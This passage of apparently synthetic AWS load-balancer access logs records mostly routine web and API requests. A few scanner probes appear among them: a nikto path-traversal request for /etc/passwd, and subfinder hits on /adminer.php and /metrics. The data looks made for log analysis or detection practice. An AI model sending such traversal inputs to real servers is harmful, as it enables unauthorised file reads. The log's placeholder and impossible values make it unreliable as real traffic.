Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b838-69d518871338438983184b8a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:02:48.523708Z "forward" "-" "-" "10.0.15.70:443" "200" "-" "-" +https 2024-11-01T00:02:48.640978Z prod-api-alb 187.206.37.4:38306 10.0.191.153:443 0.024147 0.218421 0.055890 200 200 154 6235 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b838-56f74960c5014f329ac07055" "prod-api-alb.example.com" "-" 1 2024-11-01T00:02:48.640978Z "forward" "-" "-" "10.0.191.153:443" "200" "-" "-" +http 2024-11-01T00:02:49.106851Z staging-alb 174.141.61.15:64444 205.77.36.80:8080 0.043941 0.346419 0.022127 200 200 664 1691 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b839-481c4100ab414dceb746f93c" "staging-alb.example.com" "-" 0 2024-11-01T00:02:49.106851Z "forward" "-" "-" "205.77.36.80:8080" "200" "-" "-" +https 2024-11-01T00:02:49.495138Z staging-alb 186.81.164.229:33009 166.222.159.246:8080 0.124967 0.698639 0.007184 302 302 845 4345 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b839-da04719e93e9416ba6287960" "staging-alb.example.com" "-" 9 2024-11-01T00:02:49.495138Z "forward" "-" "-" "166.222.159.246:8080" "302" "-" "-" +https 2024-11-01T00:02:50.006559Z staging-alb 83.79.80.21:55265 247.195.179.104:443 0.091244 0.695797 0.075662 200 200 137 4451 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b83a-4ed33bff770848dfa78be78d" "staging-alb.example.com" "-" 9 2024-11-01T00:02:50.006559Z "forward" "-" "-" "247.195.179.104:443" "200" "-" "-" +https 2024-11-01T00:02:51.646131Z prod-api-alb 64.28.94.4:43403 10.0.41.78:443 0.086437 0.284979 0.080177 301 301 283 3810 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b83b-cc70e1b226d14dd88d6e9f7e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:02:51.646131Z "forward" "-" "-" "10.0.41.78:443" "301" "-" "-" +https 2024-11-01T00:02:52.642199Z staging-alb 205.17.63.86:23024 230.84.48.216:443 0.116399 0.312064 0.104456 302 302 720 11560 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b83c-f081d3bc70fc41ee8c604d23" "staging-alb.example.com" "-" 8 2024-11-01T00:02:52.642199Z "forward" "-" "-" "230.84.48.216:443" "302" "-" "-" +http 2024-11-01T00:02:54.375259Z staging-alb 206.92.184.146:49735 242.83.152.36:8080 0.116865 0.184743 0.033996 200 200 280 9680 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b83e-23846273530447e99d6c45a9" "staging-alb.example.com" "-" 2 2024-11-01T00:02:54.375259Z "forward" "-" "-" "242.83.152.36:8080" "200" "-" "-" +https 2024-11-01T00:02:56.326032Z prod-web-alb 111.31.173.135:45450 10.0.192.114:443 0.080007 0.117167 0.042722 200 200 667 10276 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b840-028269f5936049cfba09e83b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:02:56.326032Z "forward" "-" "-" "10.0.192.114:443" "200" "-" "-" +https 2024-11-01T00:02:57.867375Z prod-web-alb 185.181.2.252:28096 10.0.144.98:443 0.026256 0.228759 0.039096 301 301 784 3550 "POST /adminer.php HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b841-0faf1ff95fd4413189634f1f" "-" "-" 9 2024-11-01T00:02:57.867375Z "forward" "-" "-" "10.0.144.98:443" "301" "-" "-" +http 2024-11-01T00:02:58.917238Z staging-alb 51.142.29.158:32126 209.119.170.196:80 0.041299 0.190970 0.104926 302 302 318 9048 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b842-dd2ee8b88b3a4c4a9183a791" "staging-alb.example.com" "-" 8 2024-11-01T00:02:58.917238Z "forward" "-" "-" "209.119.170.196:80" "302" "-" "-" +https 2024-11-01T00:03:00.182885Z prod-api-alb 141.21.137.209:32904 10.0.140.154:443 0.070262 0.095465 0.069487 404 404 911 5132 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b844-a839f09c595e4d6ca7f5fda4" "-" "-" 7 2024-11-01T00:03:00.182885Z "forward" "-" "-" "10.0.140.154:443" "404" "-" "-" +https 2024-11-01T00:03:01.214968Z prod-api-alb 0.247.70.153:55676 10.0.248.228:443 0.001418 0.415671 0.016362 301 301 357 6561 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b845-b840a11606db40ab8277eb92" "prod-api-alb.example.com" "-" 4 2024-11-01T00:03:01.214968Z "forward" "-" "-" "10.0.248.228:443" "301" "-" "-" +https 2024-11-01T00:03:01.958069Z prod-web-alb 82.236.170.170:49391 10.0.100.1:443 0.038155 0.315961 0.081318 200 200 120 4911 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b845-25f86499cdeb4d87a166139d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:01.958069Z "forward" "-" "-" "10.0.100.1:443" "200" "-" "-" +http 2024-11-01T00:03:02.927620Z staging-alb 131.111.203.2:48738 66.107.72.137:8080 0.022027 0.352603 0.001409 200 200 139 2278 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b846-5424649d4ee94b7aa61b8da6" "staging-alb.example.com" "-" 2 2024-11-01T00:03:02.927620Z "forward" "-" "-" "66.107.72.137:8080" "200" "-" "-" +https 2024-11-01T00:03:03.087443Z staging-alb 49.110.191.54:42634 149.52.68.55:8080 0.046715 0.309058 0.064067 200 200 541 11140 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b847-94fda27bbc6d42408ed350af" "staging-alb.example.com" "-" 4 2024-11-01T00:03:03.087443Z "forward" "-" "-" "149.52.68.55:8080" "200" "-" "-" +https 2024-11-01T00:03:03.731879Z prod-api-alb 29.41.152.98:28861 10.0.65.255:443 0.063638 0.084856 0.092591 301 301 915 4271 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b847-924f71a8b74e4bddbd0468e8" "prod-api-alb.example.com" "-" 3 2024-11-01T00:03:03.731879Z "forward" "-" "-" "10.0.65.255:443" "301" "-" "-" +https 2024-11-01T00:03:05.124103Z staging-alb 73.169.168.13:14173 128.18.94.119:443 0.054246 0.209843 0.138444 200 200 136 10802 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b849-c1b3b338282549d7bd82a8ba" "staging-alb.example.com" "-" 5 2024-11-01T00:03:05.124103Z "forward" "-" "-" "128.18.94.119:443" "200" "-" "-" +http 2024-11-01T00:03:06.618180Z staging-alb 45.155.205.142:43212 127.226.253.93:8080 0.068185 0.318352 0.098645 404 404 219 14698 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b84a-04b52c84f1e044b8bbd77e35" "-" "-" 5 2024-11-01T00:03:06.618180Z "forward" "-" "-" "127.226.253.93:8080" "404" "-" "-" +https 2024-11-01T00:03:08.545460Z prod-web-alb 31.173.146.130:12796 10.0.245.25:443 0.090849 0.348418 0.063861 200 200 497 4584 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b84c-0bcf6ad6f01b43bbb4c17db1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:03:08.545460Z "forward" "-" "-" "10.0.245.25:443" "200" "-" "-" +https 2024-11-01T00:03:08.741497Z prod-web-alb 13.36.13.71:11455 10.0.9.59:443 0.033238 0.143278 0.056935 302 302 338 551 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b84c-d52fb6babb044e6181095d2b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:03:08.741497Z "forward" "-" "-" "10.0.9.59:443" "302" "-" "-" +http 2024-11-01T00:03:09.525902Z staging-alb 153.180.47.127:63158 35.112.110.103:443 0.055157 0.470335 0.012526 200 200 442 2423 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b84d-018d6bf20d84443bac47cb7f" "staging-alb.example.com" "-" 0 2024-11-01T00:03:09.525902Z "forward" "-" "-" "35.112.110.103:443" "200" "-" "-" +https 2024-11-01T00:03:11.193523Z staging-alb 86.252.168.3:12615 30.69.3.193:8080 0.061997 0.647494 0.056980 200 200 566 4209 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b84f-2dd0eb9c61c04cdba05fbebe" "staging-alb.example.com" "-" 10 2024-11-01T00:03:11.193523Z "forward" "-" "-" "30.69.3.193:8080" "200" "-" "-" +https 2024-11-01T00:03:13.146235Z staging-alb 1.129.131.14:52357 84.2.45.203:8080 0.007566 0.563302 0.052603 302 302 890 8092 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b851-0e13b50782fe4c0790ecba9f" "staging-alb.example.com" "-" 7 2024-11-01T00:03:13.146235Z "forward" "-" "-" "84.2.45.203:8080" "302" "-" "-" +https 2024-11-01T00:03:14.056740Z prod-api-alb 39.91.185.92:47775 10.0.7.14:443 0.018392 0.241490 0.042639 302 302 58 14533 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b852-6930e45c63b74190a427a202" "prod-api-alb.example.com" "-" 10 2024-11-01T00:03:14.056740Z "forward" "-" "-" "10.0.7.14:443" "302" "-" "-" +https 2024-11-01T00:03:14.857555Z prod-api-alb 224.213.219.96:34888 10.0.213.71:443 0.018137 0.004886 0.078614 200 200 251 11486 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b852-0ced56ca758d4822b054ff63" "prod-api-alb.example.com" "-" 10 2024-11-01T00:03:14.857555Z "forward" "-" "-" "10.0.213.71:443" "200" "-" "-" +https 2024-11-01T00:03:16.276048Z prod-web-alb 172.229.215.78:47357 10.0.243.175:443 0.060213 0.283832 0.044837 200 200 63 5442 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b854-d3159db1969546f0a22a4cd1" "prod-web-alb.example.com" "-" 2 2024-11-01T00:03:16.276048Z "forward" "-" "-" "10.0.243.175:443" "200" "-" "-" +https 2024-11-01T00:03:16.577119Z staging-alb 108.207.147.76:62338 92.143.48.90:443 0.029152 0.066410 0.039731 200 200 980 4145 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b854-2f422dc42f1b48739846ba13" "staging-alb.example.com" "-" 5 2024-11-01T00:03:16.577119Z "forward" "-" "-" "92.143.48.90:443" "200" "-" "-" +https 2024-11-01T00:03:18.201575Z prod-api-alb 230.206.33.26:41531 10.0.199.111:443 0.046611 0.131994 0.013037 200 200 417 3441 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b856-30d1194cad8d437584e979f4" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:18.201575Z "forward" "-" "-" "10.0.199.111:443" "200" "-" "-" +https 2024-11-01T00:03:18.405451Z prod-web-alb 162.63.105.173:17170 10.0.164.180:443 0.074280 0.420562 0.006215 200 200 611 2581 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b856-6cafec32bc73410ebce16a51" "prod-web-alb.example.com" "-" 6 2024-11-01T00:03:18.405451Z "forward" "-" "-" "10.0.164.180:443" "200" "-" "-" +https 2024-11-01T00:03:19.289836Z prod-api-alb 54.93.129.52:45997 10.0.121.246:443 0.034340 0.140351 0.030367 302 302 489 10999 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b857-9e77e92be08e46c5be357e72" "prod-api-alb.example.com" "-" 10 2024-11-01T00:03:19.289836Z "forward" "-" "-" "10.0.121.246:443" "302" "-" "-" +https 2024-11-01T00:03:19.870779Z prod-api-alb 234.159.191.22:14908 10.0.187.237:443 0.073865 0.348715 0.003851 200 200 502 10185 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b857-fb5e37f395be42cbb43abf8b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:19.870779Z "forward" "-" "-" "10.0.187.237:443" "200" "-" "-" +https 2024-11-01T00:03:20.820656Z prod-web-alb 133.87.133.3:59168 10.0.47.127:443 0.005148 0.014960 0.098787 302 302 427 8484 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b858-b141487b01f6419599c93a3a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:20.820656Z "forward" "-" "-" "10.0.47.127:443" "302" "-" "-" +https 2024-11-01T00:03:21.436134Z prod-api-alb 149.235.121.52:40375 10.0.54.218:443 0.024510 0.361031 0.067370 200 200 70 11993 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b859-7d74c61bf9824a55b57cd7d0" "prod-api-alb.example.com" "-" 4 2024-11-01T00:03:21.436134Z "forward" "-" "-" "10.0.54.218:443" "200" "-" "-" +https 2024-11-01T00:03:22.091136Z prod-web-alb 22.227.26.237:32381 10.0.45.179:443 0.043184 0.206489 0.093133 200 200 502 3259 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85a-d8141b5c9fdf46959e001a20" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:22.091136Z "forward" "-" "-" "10.0.45.179:443" "200" "-" "-" +http 2024-11-01T00:03:23.020249Z staging-alb 70.203.155.68:21678 122.242.168.111:443 0.005399 0.098710 0.046814 200 200 957 13628 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b85b-4cf345312a624ccdbd67a29f" "staging-alb.example.com" "-" 9 2024-11-01T00:03:23.020249Z "forward" "-" "-" "122.242.168.111:443" "200" "-" "-" +https 2024-11-01T00:03:24.501670Z prod-api-alb 146.242.212.75:29037 10.0.196.2:443 0.050569 0.218797 0.099841 200 200 943 9849 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b85c-0aa34795ac674575bf87bf5f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:03:24.501670Z "forward" "-" "-" "10.0.196.2:443" "200" "-" "-" +https 2024-11-01T00:03:25.069468Z prod-web-alb 215.37.221.59:43497 10.0.131.77:443 0.059232 0.135603 0.051350 404 404 440 13359 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85d-1cc62fed43874b61bcc61e2d" "prod-web-alb.example.com" "-" 5 2024-11-01T00:03:25.069468Z "forward" "-" "-" "10.0.131.77:443" "404" "-" "-" +https 2024-11-01T00:03:25.300019Z prod-web-alb 45.20.65.175:13382 10.0.22.43:443 0.020790 0.000454 0.099363 302 302 769 6902 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85d-5446b93f57364666b361b41a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:03:25.300019Z "forward" "-" "-" "10.0.22.43:443" "302" "-" "-" +https 2024-11-01T00:03:26.176268Z prod-api-alb 45.155.205.66:39620 10.0.86.113:443 0.011166 0.058446 0.093941 404 404 757 273 "PUT /metrics HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b85e-4354a7fbf8294496938e06d5" "-" "-" 6 2024-11-01T00:03:26.176268Z "forward" "-" "-" "10.0.86.113:443" "404" "-" "-" +https 2024-11-01T00:03:26.801583Z prod-web-alb 104.63.29.3:14984 10.0.21.41:443 0.079384 0.351461 0.075777 200 200 939 6394 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85e-938856b9f82644ce8fcf52a2" "prod-web-alb.example.com" "-" 5 2024-11-01T00:03:26.801583Z "forward" "-" "-" "10.0.21.41:443" "200" "-" "-" +https 2024-11-01T00:03:27.655734Z prod-web-alb 44.70.55.80:13716 10.0.133.143:443 0.015841 0.028099 0.063152 200 200 881 14938 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85f-3d2fafae43a341799c73521c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:03:27.655734Z "forward" "-" "-" "10.0.133.143:443" "200" "-" "-" +https 2024-11-01T00:03:28.510396Z staging-alb 167.173.188.98:19904 27.231.218.1:8080 0.098412 0.300423 0.145661 301 301 284 10902 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b860-6e8e44571c4d47aaad586682" "staging-alb.example.com" "-" 5 2024-11-01T00:03:28.510396Z "forward" "-" "-" "27.231.218.1:8080" "301" "-" "-" +https 2024-11-01T00:03:30.350737Z prod-web-alb 58.167.251.214:42371 10.0.116.4:443 0.056957 0.066280 0.016709 200 200 456 2491 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b862-9e080e51498b499b8b436f40" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:30.350737Z "forward" "-" "-" "10.0.116.4:443" "200" "-" "-" +https 2024-11-01T00:03:31.204253Z staging-alb 175.70.97.53:46286 101.98.66.75:443 0.042824 0.269932 0.121825 301 301 956 14226 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b863-abac19e3e18b4814a5028b70" "staging-alb.example.com" "-" 10 2024-11-01T00:03:31.204253Z "forward" "-" "-" "101.98.66.75:443" "301" "-" "-" +https 2024-11-01T00:03:31.752713Z prod-api-alb 148.210.43.124:42477 10.0.136.48:443 0.075437 0.426403 0.052488 302 302 960 8642 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b863-f163eb391447479aaaf97317" "prod-api-alb.example.com" "-" 9 2024-11-01T00:03:31.752713Z "forward" "-" "-" "10.0.136.48:443" "302" "-" "-" +https 2024-11-01T00:03:32.143224Z prod-api-alb 219.231.213.196:49041 10.0.177.24:443 0.019272 0.395859 0.093742 200 200 286 3440 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b864-9b55a368b71941bf8dd79e6c" "prod-api-alb.example.com" "-" 9 2024-11-01T00:03:32.143224Z "forward" "-" "-" "10.0.177.24:443" "200" "-" "-" +https 2024-11-01T00:03:32.282754Z prod-web-alb 31.222.176.214:18903 10.0.141.130:443 0.021697 0.465459 0.073727 302 302 40 4303 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b864-b89888b503ff4dbd9f6b6d0c" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:32.282754Z "forward" "-" "-" "10.0.141.130:443" "302" "-" "-" +https 2024-11-01T00:03:33.027737Z prod-web-alb 211.162.87.89:59821 10.0.209.198:443 0.089286 0.102806 0.034072 200 200 134 13389 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b865-2e319d14ed294de3ba4dd304" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:33.027737Z "forward" "-" "-" "10.0.209.198:443" "200" "-" "-" +https 2024-11-01T00:03:34.782820Z prod-web-alb 192.104.190.89:50813 10.0.185.165:443 0.042172 0.179291 0.061941 200 200 8 6337 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" 